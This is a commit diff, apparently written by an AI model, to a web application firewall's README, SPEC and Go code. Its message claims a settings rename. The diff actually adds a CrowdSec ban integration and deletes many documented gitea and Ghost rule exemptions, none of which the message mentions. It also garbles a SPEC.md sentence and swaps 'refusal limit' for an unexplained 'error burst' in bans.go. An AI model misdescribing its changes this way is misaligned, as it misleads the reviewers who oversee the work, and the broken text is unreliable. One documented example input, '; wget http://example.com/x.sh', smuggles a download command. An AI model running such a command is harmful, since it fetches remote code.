Rename the settings whose names do not say what they control (closes #234)

Applies the setting renames of the naming audit under the SWW_WAF_ and
SWW_RPROXY_ prefixes, with sneak's names for the IP reputation cache
time and the two time limits, which now take milliseconds. The rproxy
log field default_disposition becomes waf_backend_no_answer, and
config.Config and config.FromEnvironment become config.WAF and
config.WAFFromEnvironment. Go fields, test names and prose follow. No
aliases; nothing reads the old names.

Model: opus-5-5

README.md

@@ -43,7 +43,8 @@ It protects against:
     - give the clients of chosen networks and countries a fraction of every
       limit, so that they are banned sooner;
     - refuse or limit clients on a blocklist, a DNS blocklist, or with a high
-      AbuseIPDB score.
+      AbuseIPDB score;
+    - ban clients named by your own CrowdSec engine.
 - Slow and oversized requests. Every request and every answer has a time limit
   and a size limit.
 
@@ -289,6 +290,8 @@ Every setting the code reads, with its default:
 | `SWW_WAF_ABUSEIPDB_KEY`                           | unset                                                                                    | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background.                                                                                                                                                    |
 | `SWW_WAF_ABUSEIPDB_MIN_SCORE`                     | `75`                                                                                     | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit.                                                                                                                                                                                       |
 | `SWW_WAF_ABUSEIPDB_DAILY_BUDGET`                  | `900`                                                                                    | The most AbuseIPDB checks made in a day.                                                                                                                                                                                                                        |
+| `SWW_WAF_CROWDSEC_LAPI_URL`                       | unset                                                                                    | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned.                                                                                                         |
+| `SWW_WAF_CROWDSEC_LAPI_KEY`                       | unset                                                                                    | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone.                                                                                                                                        |
 | `SWW_WAF_DNSBL_ABUSEIPDB_ACTION`                  | `limit:25`                                                                               | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:<percent>` or `log`.                                                                                                                                                |
 | `SWW_WAF_IP_REPUTATION_CACHE_TTL`                 | `24h`                                                                                    | How long a DNS blocklist verdict or an AbuseIPDB score is used.                                                                                                                                                                                                 |
 | `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS`              | `2000`                                                                                   | How long a DNS blocklist query or an AbuseIPDB check may take, in milliseconds.                                                                                                                                                                                 |
@@ -567,7 +570,8 @@ Each request gets tags from what `waf` knows of its client, written in the
 - `asn=<number>` and `country=<code>`, from the lookup;
 - one tag per list of `SWW_WAF_TAG_LISTS` that holds the client, such as
   `torexit` or `vpn=mullvad`;
-- `dnsbl=<zone>` and `abuseipdb`, when that reputation source lists the client;
+- `crowdsec`, `dnsbl=<zone>` and `abuseipdb`, when that reputation source lists
+  the client;
 - `exploitsignature`, when a rule file or the Core Rule Set matched the request;
 - `asn=<number>` and `prefix=<netblock>`, from a routewatch instance, while
   `SWW_WAF_ROUTEWATCH_URL` is set.
@@ -605,9 +609,9 @@ lowers a client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
     - `nextcloud`, whose fixes let through its sync client, its WebDAV methods,
       its searches, its file names, its account names, its comments and its
       documents;
-    - `ghost`, whose fixes let through the text its admin and members type, its
+    - `ghost`, whose fixes let through its filters, its searches, its names, its
-      analytics, its code injection, ActivityPub and a post saved from its
+      email addresses, its code injection, its settings and a post saved from
-      editor, HTML included.
+      its editor, HTML included.
 - A random password, as a password manager makes one, gets through these forms:
     - signing in, signing up, and changing or resetting a password, on
       WordPress, Drupal, MediaWiki, Mastodon, Nextcloud, gitea and Ghost;

SPEC.md

@@ -176,6 +176,7 @@ field gives that name. `refusal_limit` and `byte_limits` give theirs in
 8. The reputation sources (see "Reputation"), in this order:
     - A client on a fetched blocklist gets `SWW_WAF_BLOCKLIST_ACTION`
       (`blocklists`).
+    - A client on the CrowdSec decision list is banned (`crowdsec`).
     - A client listed by a DNS blocklist gets `SWW_WAF_DNSBL_ABUSEIPDB_ACTION`
       (`dnsbl`).
     - A client scored at least `SWW_WAF_ABUSEIPDB_MIN_SCORE` by AbuseIPDB gets
@@ -213,9 +214,9 @@ field gives that name. `refusal_limit` and `byte_limits` give theirs in
       are updated, and the alert thresholds are evaluated.
 
     For a request it refused, `waf` adds nothing to the byte limits. It updates
-    the history and the anomaly counters at its decision. A refusal for a rule
+    the history and the anomaly counters at its decision. It counts the refusals
-    file match, a trap path or a Core Rule Set match also counts toward the
+    the refusal limit counts at the decision too (`refusal_limit`; see "Attack
-    refusal limit at the decision (`refusal_limit`; see "Attack detection").
+    detection").
 
 In `SWW_WAF_MODE=observe`, every refusal above is logged as what would have
 happened, nothing is refused, and `waf` makes no ban of its own. A path under
@@ -300,6 +301,14 @@ without a ban, because the Core Rule Set has false positives. A `block` rule
 does the same. Those refusals count toward the refusal limit, so a client that
 keeps setting them off is banned for a broken limit.
 
+A client on the CrowdSec decision list is banned until the decision ends, with
+the cause `crowdsec`. Only a client that sends a request is banned, so a long
+list does not fill `bans.json`. Such a ban is never made permanent. It does not
+make the netblock's next ban for a broken limit longer. A ban lifted while the
+decision is in force is made again at the client's next request. To lift it for
+good, delete the decision in CrowdSec, then lift the ban once the list has been
+fetched again.
+
 These refuse each request they cover, record nothing in `bans.json`, and count
 no offence:
 
@@ -329,10 +338,10 @@ toward `SWW_WAF_MAX_BANS`, so such bans can never fill the table.
 
 A request refused under a ban that runs out is logged with the action
 `temporarily_banned`. Under a permanent ban the action is `permanently_banned`.
-A request refused for a clear sign of attack takes the action for the ban it
+A request refused for a clear sign of attack or a CrowdSec decision takes the
-made. A request that makes a ban permanent is logged as `permanently_banned`. A
+action for the ban it made. A request that makes a ban permanent is logged as
-request over a rate limit is logged as `client_is_rate_limited`, whichever ban
+`permanently_banned`. A request over a rate limit is logged as
-it makes.
+`client_is_rate_limited`, whichever ban it makes.
 
 ## Settings
 
@@ -566,9 +575,9 @@ Each tag and where it comes from:
 - One tag per list of `SWW_WAF_TAG_LISTS` that holds the client (`tag_lists`),
   the tag being the list's name, such as `torexit` or `vpn=mullvad`. These lists
   are fetched and kept like a blocklist. `waf` ships none of its own.
-- `dnsbl=<zone>` and `abuseipdb`, when that reputation source lists the client,
+- `crowdsec`, `dnsbl=<zone>` and `abuseipdb`, when that reputation source lists
-  whatever the source's action. A zone with a key is named with the key masked,
+  the client, whatever the source's action. A zone with a key is named with the
-  as the `reputation` field gives it.
+  key masked, as the `reputation` field gives it.
 - `exploitsignature`, when a rule file or the Core Rule Set matched the request.
   For the Core Rule Set a match is a score at or over
   `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD`.
@@ -874,13 +883,11 @@ one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
         which refused `org.apache.commons.logging`.
 
         A branch, tag or package name can hold a slash, as `feat/docker-support`
-        does. So `q` skips the rule for shell paths (932160) too on these
+        does. So `q` skips the rule for shell paths (932160) too on these pages,
-        searches, where it refused `/bin/sh`:
+        where it refused `/bin/sh`:
         - a repository's branches, tags and packages pages;
         - an owner's packages page;
-        - the admin page of packages;
+        - the admin page of packages.
-        - the API's search of packages;
-        - the searches of the Composer and Conan registries.
 
     - `q` on gitea's other searches, for the same four rules. Words such as
       `python3`, `powershell`, `ls -la` and `.htaccess` were refused there. The
@@ -895,46 +902,12 @@ one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
         - the runner lists of the site, a user, an organisation and a
           repository;
         - the admin lists of users, organisations, repositories, unadopted
-          repositories and emails;
+          repositories and emails.
-        - the API's searches of topics, of an organisation's teams and of
-          emails;
-        - the searches of the Cargo, Chef, Composer and Conan registries, and
-          the NuGet registry's search service.
 
         Most send `q` in the query string. The admin forms that adopt a
         repository or activate an email send it in the body. gitea serves its
         admin pages under `/-/admin/` and Forgejo under `/admin/`.
 
-    - Two fields of the API's searches other than `q`, for the same four rules:
-        - `query` of the search of unadopted repositories, which holds an owner
-          and a name, such as `alice/python3-app`;
-        - `name` of the search of a repository's milestones.
-
-    - Fields of the package registries' searches:
-        - `text` of the npm registry's search, for the same four rules and the
-          rule for shell paths (932160). An npm name can hold a slash, as
-          `@alice/tools-cli` does.
-        - `searchTerm` of the NuGet v2 API's searches, for the same four rules.
-          These are the searches:
-            - `Search()` and `Packages()`;
-            - `Search()/$count` and `Packages()/$count`, which count their
-              results.
-        - `$filter` of those searches, for the lists of system files and Windows
-          commands (930120, 932120). It holds an expression such as
-          `tolower(Id) eq 'python3'`.
-        - The names `$filter`, `$orderby` and `$top` on those searches, for the
-          rule for MongoDB operators (942290). It refused every such search.
-        - `q` of a Conan search, for the rule for SQL injection (942100), which
-          refused the pattern `zlib/*`. `q` skips it only when the request has
-          one `q`, in the query string or the body. That `q` has the shape of a
-          Conan reference. A reference is a name, then optionally `/` and a
-          version, then optionally `@` and a user, then optionally `/` and a
-          channel. Each part is made of letters, digits, `_`, `.`, `-` and `*`.
-          A part holds no `+`, since 942100 reads `+` as a space. `q` also holds
-          no `*/`, which ends an SQL comment, and no `--`, which starts one. And
-          942100 finds no SQL injection in `q` once each comment that `/*`
-          starts, an unclosed one included, is replaced by a space.
-
     - The path of these requests, which names a file:
         - a file's page;
         - its raw file;
@@ -1783,87 +1756,31 @@ Ghost's fixes: on Ghost's paths, some fields skip the rules that refused
 ordinary Ghost requests there. `internal/coreruleset/ghost.conf` lists each rule
 and the request it refused. Ghost's admin and integrations call the Admin API
 under `/ghost/api/admin/`. Themes and Ghost's scripts call the Content API under
-`/ghost/api/content/`, and members call `/members/api/`. The admin calls
+`/ghost/api/content/`, and members call `/members/api/`.
-ActivityPub, a service of its own, under `/.ghost/activitypub/`.
 
-Eight rules refused words that name commands and files, such as `python3`,
+Three query fields skip some rules:
-`ls -la`, `.htaccess` and the title `powershell & python3`. They are 930120,
-932120, 932125, 932230, 932235, 932250, 932260 and 932380.
 
-These query fields skip some rules:
+- `filter`, a query in Ghost's own filter language, skips 932120 on the Admin
-
+  API and the Content API, so `tag:powershell` passes;
-- `filter`, a query in Ghost's own filter language, skips those eight rules
-  except 930120, on the Admin API and the Content API;
 - `search`, a search for a member, skips 930120, 932120, 932250 and 932260 on
   the Admin API;
 - `url`, the address the editor looks up for an embed or a bookmark, skips
-  930120 and 932120;
+  930120 and 932120.
-- `source` and the `utm_` fields, which filter the analytics, skip those eight
-  rules under `/ghost/api/admin/stats/`;
-- `pathname`, the page the analytics show, skips 930120, 932120 and 932260
-  there;
-- `email_segment`, the members a post is sent to as a newsletter, skips 932120
-  on the Admin API's posts;
-- `query`, a search for an account in ActivityPub, skips those eight rules;
-- `email`, when an invitation is checked, skips 930120, 932120 and 932260.
 
-The fields of JSON bodies where a person types plain text skip those eight
+The fields of JSON bodies where a person types plain text skip 930120, 932120,
-rules. They are these fields of posts, pages, tags, labels, members, newsletters
+932125, 932230, 932250, 932260 and 932380. They are these fields of posts,
-and snippets, on the Admin API:
+pages, tags, labels, members, newsletters and snippets, on the Admin API:
 
 - `title`, `name` and `slug`;
 - a post's `tags` and a member's `labels`, by name or slug;
 - `custom_excerpt`, `description`, `note` and `sender_name`;
 - the `meta_`, `og_` and `twitter_` titles and descriptions.
 
-These fields on the Admin API skip them too:
+A member's `name` at `/members/api/` skips them too. A member's `email` skips
-
+930120, 932120 and 932260, at `/members/api/` and when the admin adds or edits a
-- a staff user's `name`, `slug`, `bio`, `location` and `website`;
+member. A staff user's address skips them too: `username` when signing in, and
-- `blogTitle` and `name` when creating the first staff user;
+`email` when creating the first staff user, asking for a password reset or
-- `name` when accepting an invitation;
+saving a profile.
-- `name`, `description` and `benefits` of tiers;
-- `name`, `code`, `display_title` and `display_description` of offers;
-- `title`, `description` and `excerpt` of recommendations;
-- `name` and `description` of integrations, and `name` of webhooks;
-- `feature_image_alt` and `feature_image_caption` of posts and pages.
-
-These fields skip them on their own paths:
-
-- a member's `name` at `/members/api/`;
-- `html` of a member's comment at `/members/api/comments/`;
-- `labels`, when the admin imports members from a CSV file;
-- `content` of a note or a reply in ActivityPub, and `image.altText`, the
-  description of its image;
-- `name`, `username` and `bio` of the account in ActivityPub.
-
-A member's `email` skips 930120, 932120 and 932260, at `/members/api/` and when
-the admin adds or edits a member. A staff user's address skips them too. It is
-sent as `username` when signing in, and as `email` in these requests:
-
-- creating the first staff user;
-- asking for a password reset;
-- saving a profile;
-- inviting a staff user;
-- accepting an invitation.
-
-In ActivityPub, an account's handle and its address skip 930120 and 932120. The
-domain of the site's handle skips 930120, 932120 and 932260. Each field skips
-its rules only on its own path:
-
-- `sourceHandle`, an account that moves here, when it is added at
-  `/.ghost/activitypub/v1/aliases`;
-- `actorUri`, that account's address, when the admin removes it there;
-- `targetHandle`, the account this one moves to, at
-  `/.ghost/activitypub/v1/migration`;
-- `domain`, saved at `/.ghost/activitypub/v1/domain` and checked at
-  `/.ghost/activitypub/v1/domain/validate`.
-
-The `canonical_url` of a post, a page or a tag skips 930120 and 932120, as `url`
-does. Each skips them only on its own path:
-
-- a post's under `/ghost/api/admin/posts/`;
-- a page's under `/ghost/api/admin/pages/`;
-- a tag's under `/ghost/api/admin/tags/`.
 
 The articles carry HTML on purpose. These fields on the Admin API hold them:
 
@@ -1883,14 +1800,12 @@ The articles skip these rules:
 Code injection is the HTML that Ghost adds to the head and the foot of a page.
 These fields on the Admin API hold it:
 
-- `codeinjection_head` and `codeinjection_foot` of posts, pages and tags;
+- `codeinjection_head` and `codeinjection_foot` of posts and pages;
 - `value` of settings, since the site's settings hold its code injection.
 
 Code injection skips these rules:
 
-- 930120, 932120, 932125, 932230, 932235, 932250, 932260 and 932380, which
+- 930120, 932120, 932125, 932230, 932250, 932260 and 932380, as plain text does;
-  refused words that name commands and files, such as the site's title
-  `powershell & python3`;
 - 921130, 941100, 941160 and 941270, which refused `<meta>` and `<link>`
   elements.
 
@@ -1899,22 +1814,15 @@ card can embed a widget and code injection can load analytics. These are the
 fields, on the Admin API:
 
 - `lexical`, `mobiledoc` and `html` of posts and pages;
-- `codeinjection_head` and `codeinjection_foot` of posts, pages and tags;
+- `codeinjection_head` and `codeinjection_foot` of posts and pages;
 - `value` of settings.
 
 `<script>alert(1)</script>` is still refused in snippets and newsletters.
 `javascript:alert(1)` is still refused in the articles and code injection
 (941170 and 941210). Path traversal and SQL injection are still refused in every
 field above. Script injection is too, outside the articles and code injection.
-
+`; wget http://example.com/x.sh` is still refused in the query fields, the plain
-`; wget http://example.com/x.sh` is still refused in these fields:
+text and the addresses.
-
-- the addresses, the handles and the domain;
-- the `canonical_url` of posts, pages and tags;
-- `search`, `url`, `pathname`, `email_segment` and `email`.
-
-The other fields above skip 932235, which refuses that command but also refuses
-`powershell & python3`.
 
 Coraza names a staff user's `profile_image` field `json.users.0.profile_image`.
 That name holds `.profile`, a file on the list of system files, so the name
@@ -1951,11 +1859,12 @@ to the surrounding netblock. The four ban lengths are under "Bans".
 ### Reputation
 
 No source is on by default. A source acts on a list kept elsewhere; the defaults
-judge a client only by what it does here. AbuseIPDB also needs an account of the
+judge a client only by what it does here. AbuseIPDB and CrowdSec also need an
-operator's own. The list best suited to be on by default, Spamhaus DROP, has
+account or an engine of the operator's own. The list best suited to be on by
-terms, below, that forbid frequent fetching, and Spamhaus may block an address
+default, Spamhaus DROP, has terms, below, that forbid frequent fetching, and
-that breaks them. Each `waf` fetches its own copy, so several of them on one
+Spamhaus may block an address that breaks them. Each `waf` fetches its own copy,
-host, sharing one address, would often fetch too close together.
+so several of them on one host, sharing one address, would often fetch too close
+together.
 
 - Blocklists (`SWW_WAF_BLOCKLIST_URLS`) are text files of addresses and
   netblocks, one to a line, as the Spamhaus DROP list is written. Anything after
@@ -1988,6 +1897,18 @@ host, sharing one address, would often fetch too close together.
   percentage of every request and byte limit, and suits a list of addresses
   shared with ordinary visitors, such as Tor exits. `log` only notes the hit in
   the log line and raises an alert.
+- A CrowdSec engine on the host (`SWW_WAF_CROWDSEC_LAPI_URL`) has its decision
+  list fetched every minute, with `SWW_WAF_CROWDSEC_LAPI_KEY` in the `X-Api-Key`
+  header. The list is kept like a fetched blocklist, and a client on it is
+  banned (see "Bans"). Only decisions of the type `ban` on an address or a
+  netblock are used; any other, such as a captcha or a country, is left out. A
+  decision lasts for the `duration` it had left when the engine answered. This
+  is how a fleet-wide blocklist can arrive without `waf` depending on CrowdSec.
+  A fetch fails when:
+    - the engine answers other than `200`, a redirect included;
+    - the fetch does not finish within a minute;
+    - the answer is longer than 16 MiB;
+    - the answer is not a list of decisions.
 - Each DNS blocklist (`SWW_WAF_DNSBL_ZONES`) is asked about a client's own
   address in the background, the first time the client is seen. No request waits
   for the answer. The name asked about is the one RFC 5782 gives: the numbers of
@@ -2415,13 +2336,14 @@ client without an answer by then counts as unknown. No question waits on these,
 which run in the background:
 
 - the DNS blocklists and AbuseIPDB;
-- fetching the blocklists, the tag lists and the file
+- fetching the blocklists, the tag lists, the CrowdSec decision list and the
-  `SWW_WAF_ASN_LIMIT_PERCENT_URL` names.
+  file `SWW_WAF_ASN_LIMIT_PERCENT_URL` names.
 
 In `enforce` mode, a question does not wait for GeoJS when it is a request:
 
 - from a client on a fetched blocklist, while `SWW_WAF_BLOCKLIST_ACTION` is
   `deny`;
+- from a client on the CrowdSec decision list;
 - that would take its client over a rate limit at 100% of it, since a percentage
   can only lower a limit.
 
@@ -2690,14 +2612,13 @@ A path under `/_sww/` that `allow` would pass on is answered `404` instead, so
 that the app never sees that prefix.
 
 `rproxy` cannot pass on an answer whose body is over 1 MiB or whose status is
-below `200`. The visitor gets `502` from `rproxy`, whatever
+below `200`. The visitor gets `502` from `rproxy`, never the default. `rproxy`
-`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` says. `rproxy` writes a process
+writes a process warning, its log line has no `disposition`, and it sends no
-warning, its log line has no `disposition`, and it sends no report.
+report.
 
 A visitor that goes away while `waf` is being asked is no failure of `waf`.
-`rproxy` closes the connection with no warning and no report, and
+`rproxy` closes the connection, with no warning, no default and no report. Its
-`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` does not apply. Its log line has
+log line has status `0` and no `disposition`.
-status `0` and no `disposition`.
 
 ### Passing a request to the app
 

docs/alerts.md

@@ -13,8 +13,9 @@ back or dropped.
   threshold. The request was refused unless the alert's `detail` gives `mode`:
   `detect` or `observe`.
 - `anomaly`: a count over an anomaly threshold.
-- `reputation_hit`: a request from a client on a blocklist or a DNS blocklist,
+- `reputation_hit`: a request from a client on a blocklist, the CrowdSec
-  or with an AbuseIPDB score that is a hit. One alert per source.
+  decision list or a DNS blocklist, or with an AbuseIPDB score that is a hit.
+  One alert per source.
 - `source_failure`: one of:
     - GeoJS failing;
     - a list that cannot be fetched;
@@ -68,7 +69,8 @@ on one line:
             "earlier_bans": {
                 "limit": 0,
                 "attack": 0,
-                "admin": 0
+                "admin": 0,
+                "crowdsec": 0
             }
         }
     },

docs/request-log.md

@@ -97,7 +97,7 @@ Every one of these lines has:
     - `client_denied`: refused for `SWW_WAF_DENY_NETS`, for a reputation source
       with the action `deny`, or for a tag in `SWW_WAF_TAG_DENY`;
     - `temporarily_banned`: refused under a ban that runs out, or for a `ban`
-      rule or a trap path that made such a ban;
+      rule, a trap path or a CrowdSec decision that made such a ban;
     - `permanently_banned`: refused under a ban that never runs out, including a
       ban this request made or made permanent;
     - `country_denied`, `client_is_rate_limited`, `blocked_by_block_rule` and
@@ -118,6 +118,8 @@ Every one of these lines has:
     - `countries`: `country`, and `setting`, the country list that refused it;
     - `tag_deny`: `tag`, the tag of `SWW_WAF_TAG_DENY` the request carries;
     - `blocklists`: `lists`, the blocklist URLs that list the client;
+    - `crowdsec`: `scenario`, the decision's scenario, and `expires`, when the
+      decision ends;
     - `dnsbl`: `zones`, the DNS blocklist zones that list the client, their keys
       masked;
     - `abuseipdb`: `score`, and `min_score`, `SWW_WAF_ABUSEIPDB_MIN_SCORE`;
@@ -169,6 +171,7 @@ Every one of these lines has:
   and the rules that matched, for a request it inspected.
 - `reputation`: the sources the client is on, in this order:
     - blocklist URLs;
+    - the CrowdSec decision list's URL;
     - DNS blocklist zones;
     - `abuseipdb`.
 - `tags`: the request's tags, sorted, left out when it has none. Each tag and

docs/settings.md

@@ -180,8 +180,8 @@ in [`SPEC.md`](../SPEC.md).
   `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. A name is the
   tag, and may hold `=`, such as `vpn=mullvad`. Each list is an `http` or
   `https` URL fetched like a blocklist. A name or URL listed twice is refused.
-  So is a URL that is also in `SWW_WAF_BLOCKLIST_URLS` or is
+  So is a URL that is also in `SWW_WAF_BLOCKLIST_URLS`,
-  `SWW_WAF_ASN_LIMIT_PERCENT_URL`.
+  `SWW_WAF_ASN_LIMIT_PERCENT_URL`, or the CrowdSec decision list.
 - `SWW_WAF_TAG_DENY` (default empty): tags whose requests are refused, such as
   `torexit,country=CN`. A tag listed twice, an `asn=` tag without a number, or a
   `country=` tag without a country, is refused.
@@ -214,6 +214,9 @@ tag that no request can get stops the start. A request can get only these:
   `SWW_WAF_CORE_RULE_SET_MODE` nor `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` is
   `off`.
 
+`crowdsec` stops the start in both settings, because a CrowdSec decision refuses
+the request first.
+
 ## Biased thresholds
 
 - `SWW_WAF_ASN_BYTES_LIMIT_PERCENT` and `SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT`
@@ -301,8 +304,8 @@ tag that no request can get stops the start. A request can get only these:
   A duration.
 - `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
   within which breaking a limit again lengthens the next ban. A duration.
-- `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE` (default `7d`): a ban for a broken limit
+- `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE` (default `7d`): the longest ban for a
-  that would be longer than this is permanent instead. A duration.
+  broken limit; one that would be longer is permanent. A duration.
 - `SWW_WAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign
   of attack. A duration.
 - `SWW_WAF_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
@@ -330,6 +333,14 @@ tag that no request can get stops the start. A request can get only these:
   score, from 0 to 100, that is a hit.
 - `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a
   day, a whole number above zero. AbuseIPDB's free accounts may make 1,000.
+- `SWW_WAF_CROWDSEC_LAPI_URL` (default unset): the local API of a CrowdSec
+  engine you run, such as `http://172.17.0.1:8080`. An `http` or `https` URL
+  without a user or a fragment; its decision list is at `v1/decisions` under it.
+  Set without the key, it is refused. So is a decision list URL that is also in
+  `SWW_WAF_BLOCKLIST_URLS`, or that is `SWW_WAF_ASN_LIMIT_PERCENT_URL`.
+- `SWW_WAF_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for
+  `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it. Set without the
+  URL, it is refused.
 - `SWW_WAF_DNSBL_ABUSEIPDB_ACTION` (default `limit:25`): `deny`,
   `limit:<percent>` or `log`, for DNS blocklist and AbuseIPDB hits.
 - `SWW_WAF_IP_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict
@@ -443,12 +454,13 @@ asked in the background (see "Answering in time" under "`waf`" in
 start, and an invalid value stops the start. Any can be given as a file, as a
 `SWW_WAF_` setting can. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what they do.
 
+A time here is a whole number of milliseconds above zero, such as `2000`.
+
 - `SWW_RPROXY_WAF_BACKEND` (required, no default): `waf`'s URL. An `http` or
   `https` URL with a host and an optional port, and nothing more. `rproxy`
   speaks HTTP/1.1 to it.
 - `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS` (default `2000`): how long `rproxy` waits
-  for `waf`'s answer, to a question and to a report. A time in milliseconds;
+  for `waf`'s answer, to a question and to a report. A time; never `off`.
-  never `off`.
 - `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` (default `allow`): what is done
   with a request when `waf` cannot be connected to, does not answer at all, or
   does not answer within `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`. `allow` passes it
@@ -461,12 +473,11 @@ start, and an invalid value stops the start. Any can be given as a file, as a
 - `SWW_RPROXY_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may
   take to send its request line and headers. It then also bounds, from the end
   of the headers, the time until the app has been sent the whole request. A time
-  in milliseconds or `off`.
+  or `off`.
 - `SWW_RPROXY_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may
   take, from the end of the request to its last byte reaching the visitor. An
   answer `rproxy` gives itself always has at least 10 seconds to be sent, and so
-  do the status and headers of the app's answer. A time in milliseconds or
+  do the status and headers of the app's answer. A time or `off`.
-  `off`.
 - `SWW_RPROXY_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as
   `:9000`.
 - `SWW_RPROXY_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An

docs/state-files.md

@@ -25,7 +25,7 @@ Active and past bans: every ban an admin made, and up to `SWW_WAF_MAX_BANS` of
 those `waf` made. Per entry:
 
 - `netblock`, `start` and `expires` (`null` for a permanent ban);
-- `cause`: `attack`, `limit` or `admin`;
+- `cause`: `attack`, `limit`, `admin` or `crowdsec`;
 - `reason`: a short reason;
 - `lifted`: when an admin lifted it, if one did;
 - `notes`: the notes below.

internal/alerts/alerts.go

@@ -48,8 +48,9 @@ const (
 	// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD, refused in block mode, let through in
 	// detect mode.
 	EventCoreRuleSetMatch = "core_rule_set_match"
-	// EventReputationHit is a request whose client a blocklist or a DNSBL
+	// EventReputationHit is a request whose client a blocklist, the
-	// zone lists, or whose AbuseIPDB score is a hit.
+	// CrowdSec decision list or a DNSBL zone lists, or whose AbuseIPDB score
+	// is a hit.
 	EventReputationHit = "reputation_hit"
 	// EventSourceFailure is GeoJS failing or refusing sww, a fetch
 	// of a list failing, a query to a DNSBL zone or a check with AbuseIPDB

internal/bans/bans.go

@@ -1,8 +1,10 @@
 // Package bans is the ban ledger: the bans sww makes on the
-// netblocks of clients that break a rate limit, a byte limit or the refusal
+// netblocks of clients that break a rate limit, a byte limit or the error
-// limit or show a clear sign of attack, and those an admin makes, with their
+// burst, show a clear sign of attack or are listed by the CrowdSec
-// notes, as the "Bans" section of SPEC.md describes. The bans are kept in
+// decision list, and
-// memory, and written to bans.json and read from it by the state package.
+// those an admin makes, with their notes, as the "Bans" section of SPEC.md
+// describes. The bans are kept in memory, and written to bans.json and
+// read from it by the state package.
 package bans
 
 import (
@@ -26,6 +28,9 @@ const (
 	// CauseAdmin is a ban an admin made, or one sww made that an
 	// admin keeps. It is never dropped.
 	CauseAdmin = "admin"
+	// CauseCrowdSec is a ban sww made for a client the CrowdSec
+	// decision list lists. It ends when CrowdSec's decision does.
+	CauseCrowdSec = "crowdsec"
 )
 
 // repeatFactor is how many times as long as the netblock's last ban a ban
@@ -40,12 +45,12 @@ type Params struct {
 	// LimitBanDuration is how long a first ban for a broken limit lasts.
 	LimitBanDuration time.Duration
 	// LimitBanRepeatWindow is how soon after the end of the netblock's
-	// ban that ended last, other than one for a clear sign of attack, a
+	// ban that ended last, other than one for a clear sign of attack or for
-	// broken limit counts as a repeat, which bans for
+	// CrowdSec's decision, a broken limit counts as a repeat, which bans for
 	// repeatFactor times as long as that ban.
 	LimitBanRepeatWindow time.Duration
-	// A ban for a broken limit that would be longer than
+	// LimitBanPermanentAbove is the longest ban for a broken limit; one that would
-	// LimitBanPermanentAbove is permanent instead.
+	// be longer is permanent instead.
 	LimitBanPermanentAbove time.Duration
 	// AttackBanDuration is how long a first ban for a clear sign of attack
 	// lasts.
@@ -63,10 +68,11 @@ type Ban struct {
 	Start    time.Time
 	// Expires is when the ban ends, zero for a permanent ban.
 	Expires time.Time
-	// Cause is CauseLimit, CauseAttack or CauseAdmin.
+	// Cause is CauseLimit, CauseAttack, CauseAdmin or CauseCrowdSec.
 	Cause string
-	// Reason is a short text: for a ban sww made, the limit broken or
+	// Reason is a short text: for a ban sww made, the limit broken,
-	// the rule that matched; for an admin's, what the admin wrote.
+	// the rule that matched or the scenario of CrowdSec's decision; for an
+	// admin's, what the admin wrote.
 	Reason string
 	// Lifted is when an admin lifted the ban, zero while no admin has. A
 	// lifted ban refuses nothing, and does not make the netblock's next
@@ -127,7 +133,8 @@ type Notes struct {
 	// log's reputation names them. It is left out when none did.
 	Reputation []ReputationHit `json:"reputation,omitempty"`
 	// Request is the request that broke the limit, or whose bytes broke
-	// it, or that was the clear sign of attack.
+	// it, that was the clear sign of attack, or that came from a client the
+	// CrowdSec decision list lists.
 	Request Request `json:"request"`
 	// Requests is how many requests the netblock has sent since it was
 	// first seen, and Refused how many of them the ban has refused so
@@ -141,8 +148,9 @@ type Notes struct {
 
 // ReputationHit is a reputation source that listed a client, as a
 // reputation_hit alert's detail gives it: Source is the URL of the
-// blocklist, the DNSBL zone with its key masked, or "abuseipdb", and Score,
+// blocklist or of the CrowdSec decision list, the DNSBL zone with its key
-// for AbuseIPDB alone, its score of the client.
+// masked, or "abuseipdb", and Score, for AbuseIPDB alone, its score of the
+// client.
 type ReputationHit struct {
 	Source string `json:"source"`
 	Score  *int64 `json:"score,omitempty"`
@@ -150,9 +158,10 @@ type ReputationHit struct {
 
 // EarlierBans counts a netblock's bans before a ban, by cause.
 type EarlierBans struct {
-	Limit  int `json:"limit"`
+	Limit    int `json:"limit"`
-	Attack int `json:"attack"`
+	Attack   int `json:"attack"`
-	Admin  int `json:"admin"`
+	Admin    int `json:"admin"`
+	CrowdSec int `json:"crowdsec"`
 }
 
 // Request is a request in a ban's notes. Each text is cut to 256 bytes.
@@ -294,7 +303,8 @@ func activeBan(bans []Ban, now time.Time) *Ban {
